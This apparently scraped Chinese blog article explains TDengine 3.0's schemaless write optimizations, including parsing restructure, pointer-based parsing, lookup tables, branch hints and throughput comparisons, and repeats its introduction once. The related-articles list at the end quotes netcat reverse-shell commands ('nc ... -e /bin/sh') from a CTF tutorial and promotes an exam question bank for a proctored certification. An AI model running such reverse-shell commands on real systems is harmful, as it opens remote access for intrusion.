实现高效写入:Schemaless 写入性能优化指南

news2024/11/20 10:42:00

物联网应用常常需要收集大量的数据,用以支持智能控制、业务分析和设备监控等功能。然而,应用逻辑的更新或硬件的调整可能会导致数据采集项频繁变化,这是时序数据库(Time Series Database,TSDB)面临的一大挑战。

为了适应这种动态变化,TDengine 提供了一种无需预先定义表结构的 Schemaless 写入模式。这种模式允许开发者直接通过写入接口送入数据,系统会自动建立对应的数据存储结构。在数据结构需要调整时,Schemaless 模式也能自动添加新的数据列,确保所有数据都能被准确记录。如果大家想要详细了解 Schemaless 写入的主要处理逻辑、映射规则与变更处理等机制,可以进入 TDengine 官网技术文档直接查看(Schemaless 写入 | TDengine 文档 | 涛思数据)。

TDengine 对 Schemaless 写入功能进行了深入优化,以提高其灵活性和效率。本文将介绍其中部分优化措施的详细过程和技术方法,帮助开发者更好地理解和利用这一功能,从而提升应用性能。同时,我们也希望这些分享能帮助开发人员在性能优化方面迈向新的高度。

性能优化流程

分析性能瓶颈在哪里?

通过分析下文中数据写入的火焰图,我们会发现 parser 部分和 insert 部分占用的耗时都很高,并且主要集中在 parseSmlKey, parseSmlValue, addChildTableDataPointsIntoSql, taos_query_a, buildDataPointSchema 几个函数中。

物联网应用常常需要收集大量的数据,用以支持智能控制、业务分析和设备监控等功能。然而,应用逻辑的更新或硬件的调整可能会导致数据采集项频繁变化,这是时序数据库(Time Series Database,TSDB)面临的一大挑战。

为了适应这种动态变化,TDengine 提供了一种无需预先定义表结构的 Schemaless 写入模式。这种模式允许开发者直接通过写入接口送入数据,系统会自动建立对应的数据存储结构。在数据结构需要调整时,Schemaless 模式也能自动添加新的数据列,确保所有数据都能被准确记录。如果大家想要详细了解 Schemaless 写入的主要处理逻辑、映射规则与变更处理等机制,可以进入 TDengine 官网技术文档直接查看(Schemaless 写入 | TDengine 文档 | 涛思数据)。

TDengine 对 Schemaless 写入功能进行了深入优化,以提高其灵活性和效率。本文将介绍其中部分优化措施的详细过程和技术方法,帮助开发者更好地理解和利用这一功能,从而提升应用性能。同时,我们也希望这些分享能帮助开发人员在性能优化方面迈向新的高度。

性能优化流程

分析性能瓶颈在哪里?

通过分析下文中数据写入的火焰图,我们会发现 parser 部分和 insert 部分占用的耗时都很高,并且主要集中在 parseSmlKey, parseSmlValue, addChildTableDataPointsIntoSql, taos_query_a, buildDataPointSchema 几个函数中。

性能瓶颈如何解决?

针对上面火焰图分析的情景,对于每个函数,我们有两种方法来优化——要么去掉要么缩短。

如何去掉?能否去掉?

首先我们需要先详细了解现有的解析处理框架。下图是现有框架的处理流程图:

从图中我们能够发现存在一些不合理的地方,如下:

  • 行协议解析析(Parser)

在处理数据时,系统会遍历每条记录,提取出测量值(measure)、标签(tag)以及列(col)的键值对,并将这些信息存储于定制的结构体中。此外,系统还会对每条记录中的标签键进行排序,并依照既定规则生成对应的子表名称。然而,此流程中对标签的解析、排序及子表名称生成的重复执行,增加了处理时间和计算复杂度。

  • schema 处理

在获取测量值(measure)的架构元数据(schema meta)之后,系统会对该测量值下的每一条数据执行以下操作:遍历其标签(tag)和列(col),并检查现有架构是否需要更新,更新操作可能包含 create stable, add col, add tag, modify col, modify tag。

  • insert 数据

当数据量小于 10 条时,系统将逐条构造 SQL 语句,并通过调用taos_query函数逐一插入数据。对于超过 10 条的数据集,系统将构建stmt结构体,并利用stmt接口批量插入数据。

  • 一些关键的代码如下图。(主要函数为 tscParseLine/parseSmlKvPairs/tscSmlInsert/buildDataPointSchemas/modifyDBSchemas/applyDataPointsWithSqlInsert 等)

详细代码请见如下链接:

  • https://github.com/taosdata/TDengine/blob/2.6/src/client/src/tscParseLineProtocol.c

  • https://github.com/taosdata/TDengine/blob/2.6/src/client/src/tscParseOpenTSDB.c

针对以上问题,我们首先可以从架构上面进行大的优化。

主要包括如下几个方面:

  • 行协议解析

    • 分析数据可以看出,相同的标签(tag)前缀通常保持一致,所以可以对数据的标签字符串进行预分组,将具有相同前缀的标签归入同一组。在每个分组内,只需对标签进行一次解析,减少重复解析的操作。

    • 检查数据的顺序,如果顺序相同,则可以直接按照顺序进行数据绑定,避免使用哈希查找,从而减少计算量和提高处理速度。

  • schema 处理

    • 提前在解析时判断是否需要变更架构(schema),检查是否存在列的增加或列长度的变更。如果需要变更,再走修改架构(modify schema)的逻辑。

  • insert 数据

    • 数据构造直接在解析每行时实现,直接将数据绑定到最终的 STableDataCxt 结构中。这种做法可以避免在后续阶段再次进行数据绑定和二次拷贝。

    • 改进数据写入方法,采用直接构造 BuildRow 的方式,避免使用 SQL 或 stmt 接口而产生二次解析。

  • 一些关键的代码如下图。(主要函数为smlParseInfluxString/smlParseTagKv/smlParseColKv/smlParseLineBottom/smlModifyDBSchemas/smlInsertData)

详细代码见如下链接:

  • https://github.com/taosdata/TDengine/blob/3.0/source/client/src/clientSml.c

  • https://github.com/taosdata/TDengine/blob/3.0/source/client/src/clientSmlLine.c

  • https://github.com/taosdata/TDengine/blob/3.0/source/client/src/clientSmlTelnet.c

  • https://github.com/taosdata/TDengine/blob/3.0/source/client/src/clientSmlJson.c

在架构优化过程中,我们还发现内存使用也可以进行优化。

在数据解析过程中,将数据转换为无架构(schemaless)格式时,对测量值(measure)、标签(tag)和列(col)进行了大量的内存分配和拷贝操作。这些操作虽然常见,但并非必要,存在优化空间:

  • 在解析数据时,不直接进行数据的拷贝和内存分配。而是记录下每个数据项在原始数据中的指针位置和长度。

  • 在数据需要最终写入数据库前,再根据这些记录的位置和长度信息,从原始数据中直接拷贝相关数据。

如下:

 

st,t1=3,t2=4,t3=t3 c1=3i64,c3="passit",c2=false,c4=4 1626006833639000000

1)t1/t2/t3/c1/c3/c2 全部 calloc,拷贝到新的内存

 

typedef struct { char* key; uint8_t type; uint16_t length; char* value; uint32_t fieldSchemaIdx; } TAOS_SML_KV;

2)直接指针记录位置,避免内存分配拷贝

 

typedef struct { char *measure; char *tags; char *cols; char *timestamp; char *measureTag; int32_t measureLen; int32_t measureTagsLen; int32_t tagsLen; int32_t colsLen; int32_t timestampLen; SArray colArray; } SSmlLineInfo;

如何缩短?

  • 时间精度转换优化

直接寻址代替条件判断,注意溢出的处理。

 

if(fromPrecision == ){} else if( fromPrecision == ){} else {} int64_t smlToMilli[3] = {3600000LL, 60000LL, 1000LL}; int64_t unit = smlToMilli[fromPrecision - TSDB_TIME_PRECISION_HOURS]; if (unit > INT64_MAX / tsInt64) { return -1; } tsInt64 *= unit;

  • Json 解析优化

因为写入的 Json 数据格式基本固定,所以可以提前计算出各个元素(metric, timestamp, value, tags)的偏移位置,直接偏移到相应位置处理。

 

[ { "metric": "meter_current", "timestamp" : 1346846400, "value": 18, "tags": { "location": "上海", "id": "d1001" } }, {} ]

  • 判断逻辑优化

每次判断最大限度的减少信息熵,将概率最大的 if 条件放在前面判断。(i64 / u64 / i8 / u8 / true / L"" )

 

if( str equals "i64"){} else if( str equals "i32"){} else if( str equals "u8"){} ··· if(str[0] equals "i"){} else if(str[0] equals "u"){} ...

其他优化

  • likely / unlikely

根据代码执行的概率,指导编译器优化指令流水线的加载顺序。

 

if(unlikely(len == 0 || (len == 1 && data[0] == '0'))){ return taosGetTimestampNs()/smlFactorNS[toPrecision]; }

  • 程序日志频繁打印,也会导致性能下降。我们在测试中发现,每批的统计信息打印会导致耗时占用上升 10% 左右。

性能优化对比

版本

sql

line协议

telnet协议

json协议

2.6(4ec22e8)

4543622

1458304

2161855

1272000

ver-3.0.0.0

1638498

1650033

1945982

800000

3.0(f6793d5)

3740774

3602947

4328447

5520000

速度单位为 records/second

在 TDengine 3.0 版本与 2.6 版本的对比中,可以看到,line 协议性能提升了 2.5 倍,telnet 提升了 2 倍,而 json 的提升接近 5 倍。

性能分析工具

火焰图

perf 工具

通过 perf top -p 111290 -g 分析,可以看到 CPU 占用率很高

结语

我们在进行性能优化前,首先需全面了解系统的流程和架构,确保对其有深刻认识。性能优化应着重关注以下三个方面:

  1. 架构评估:优秀的性能建立在合理且高效的架构之上。首先检查架构设计的合理性和效率,这是提升性能的基础。

  2. 识别并解决性能瓶颈:在良好的架构基础上,应优先解决主要的性能瓶颈,逐步优化次要问题,以实现持续的性能提升。

  3. 性能分析方法:利用火焰图分析各函数的调用耗时(宽度),对于一些看不到调用栈的地方可以添加日志打印每步骤的耗时,以精确地识别和分析性能瓶颈。

通过综合考虑 CPU、存储、网络、编译器及硬件等多个方面,并结合程序本身的特点,大家就可以实现有效的性能优化了。最后,希望本篇文章能够帮助到有需要的开发者,也欢迎大家体验 TDengine 的 Schemaless 写入性能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1866927.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mybatis-映射文件中select标签resultType属性的使用

数据库的最最基本操作“增删改查”,“查”是最复杂的,有各种各样的查询,所以对应到Mybatis中的select标签也是这四个操作中最复杂的 resultType属性的使用 1.返回的结果是List集合的类型 select标签里的resultType类型设置为List集合里的元…

CCAA:认证通用基础 7(认证的基本概念)

7认证的基本概念 7.1认证类型(产品认证、管理体系认证、服务认证)及基本特征 第一节 认证 1.认证的定义和本质 1.1认证的定义 (1)认证:与产品、过程、体系或人员有关的第三方证明。 ①”产品,过程,体系或人员”是认证的对象,认证是对“产…

Rust: duckdb和polars读csv文件比较

一、文件准备 样本内容,N行9列的csv标准格式,有字符串,有浮点数,有整型。 有两个csv文件,一个大约是2.1万行;一个是64万行。 二、toml文件 [package] name "my_duckdb" version "0.1.0&…

Linux文件IO深入剖析

目录 一、文件IO引发的项目血案 1、分析 一、Linux文件系统基本概念 1、文件系统接口 2、文件系统缓存 二、文件IO 访问方式概述 1、标准文件访问方式 2、直接IO 3、实现方式 4、缓存同步 5、Linux 文件IO流程图 6、血案解决 一、文件IO引发的项目血案 事件经过&am…

甲骨文(Oracle)云AI专家级证书免费获取攻略

这次分享的是甲骨文云(Oracle)2024年最新最热门的AI专家级证书,活动截止日期7/31。 考试为闭卷监考形式,但小李哥已经把题库准备好,分享给大家。 甲骨文Oracle☁️云计算凭借其Oracle原生产品(数据库、ERP等)在云计算市场中具有一定地位。目前…

Kafka入门-分区及压缩

一、生产者消息分区 Kafka的消息组织方式实际上是三级结构:主题-分区-消息。主题下的每条消息只会保存在某一个分区中,而不会在多个分区中被保存多份。 分区的作用就是提供负载均衡的能力,或者说对数据进行分区的主要原因,就是为…

【已解决】Pycharm:卡顿解决方案汇总

可能原因: 1、内存少 2、加载慢 3、文件多 4、硬件老 解决方案: 本机测试在 MAC,Windows、Linux也有相应的设置,请自行查询。 一、调整Pycharm使用内存 Help - Change Memory Settings 二、取消勾选 重复打开上次项目 Pych…

渗透测试之网络基础

文章目录 1. TCP/IP体系结构2. 什么是IP地址2.1 内网IP2.2 公网IP2.3 公网IP与内网IP的关系2.4 判断IP地址是公网或内网 3. 什么是TCP逻辑端口3.1 端口的定义3.2 查看开启的端口 4. HTTP超文本传输协议4.1 什么是HTTP4.2 HTTP协议特点4.3 请求消息——request4.4 HTTP的请求方式…

【研究】大模型应用场景分类与硬件升级

大模型应用#1:从Chatbot到AI Agent,个人助理重塑手机应用生态 AI大模型的能力进步推动Chatbot在C端广泛“出圈”。Chatbot(聊天机器人)通过自动化方式来处理和回复用户输入,可以模拟人类对话,通过文字或语…

软考系统架构师考试考点整理就看这一篇

软考系统架构师考试考点整理就看这一篇 最近软考成绩出来了不少同学与笔者沟通,聊到软考现在越来越难了,考了两三次都没过,也有不少新同学咨询软考考试的一些福利政策,投入大量的物力,财力,精力&#xff0c…

MySQL笔记——索引

索引 SQL性能分析使用原则SQL提示覆盖索引前缀索引单列索引和联合索引索引设计原则 学习黑马MySQL课程,记录笔记,用于复习。 查询建表语句: show create table account;以下为建表语句: CREATE TABLE account (id int NOT NULL …

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

从中序与后序遍历序列构造二叉树-二叉树题型

106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode) right要再left前面 如下如,后序为第一行,最后一个是根; 中序为第二行,中间的为根; 通过后序的最后一个元素从中序中找到根&#xff0…

NodeJs 使用中间件实现日志生成功能

写在前面 今天我们实现一个记录 nodejs 服务请求日志的功能,大概的功能包括请求拦截,将请求的信息作为日志文件的内容写入到 txt 文件中,然后输出到指定的日志到当天日期目录中,从而实现后续查找用户请求信息的功能,下…

三级医院智慧医院信息化规划方案(65页PPT)

方案介绍: 该方案通过信息化手段实现医院信息化全覆盖,优化诊疗流程、提高诊疗效率和准确性;同时实现医疗资源的合理配置和共享,提升医疗服务质量。通过优化患者就医流程、提供便捷的服务和宣传健康知识等方式提高患者满意度。通…

SpringBoot优点达项目实战:获取系统配置接口(三)

SpringBoot优点达项目实战:获取系统配置接口(二) 文章目录 SpringBoot优点达项目实战:获取系统配置接口(二)1、查看接口2、查看数据库3、代码实现1、创建实体类SysConfig2、创建返回数据的vo3、创建control…

【Unity】RPG2D龙城纷争(六)关卡编辑器之角色编辑

更新日期:2024年6月26日。 项目源码:第五章发布(正式开始游戏逻辑的章节) 索引 简介一、角色编辑模式1.将字段限制为只读2.创建角色(刷角色)3.预览所有角色4.编辑选中角色属性5.移动角色位置6.移除角色 简介…

postgres数据库的流复制

1. 流复制和逻辑复制的差异 逻辑复制和流复制最直观的不同是,逻辑复制支持表级别复制区分点事原理不同 逻辑日志是在wal日志产生的数据库上,由逻辑解析模块对wal日志进行初步的解析,解析结果是ReorderBufferChange(理解为HeapTup…

EOS Black延迟高如何处理 EOS Black延迟高这样降低

EOS Black中,玩家可以根据自己的喜好和策略,随心所欲地雕琢人物属性,选择装备属性,搭配千变万化的技能,甚至还可以自定义职业,打造出最适合自己的角色。这种自由度极高的玩法,让玩家能够真正体验…

3D Web轻量引擎HOOPS Web Platform赋能AEC行业数字化,高效渲染与多格式支持!

在建筑、工程和施工(AEC)行业,数字化转型和高效协作正变得越来越重要。为应对日益复杂的项目需求和不断提升的质量标准,AEC企业需要一种强大的工具来实现高效的3D可视化和数据管理。HOOPS Web Platform作为一款综合性3D开发平台&a…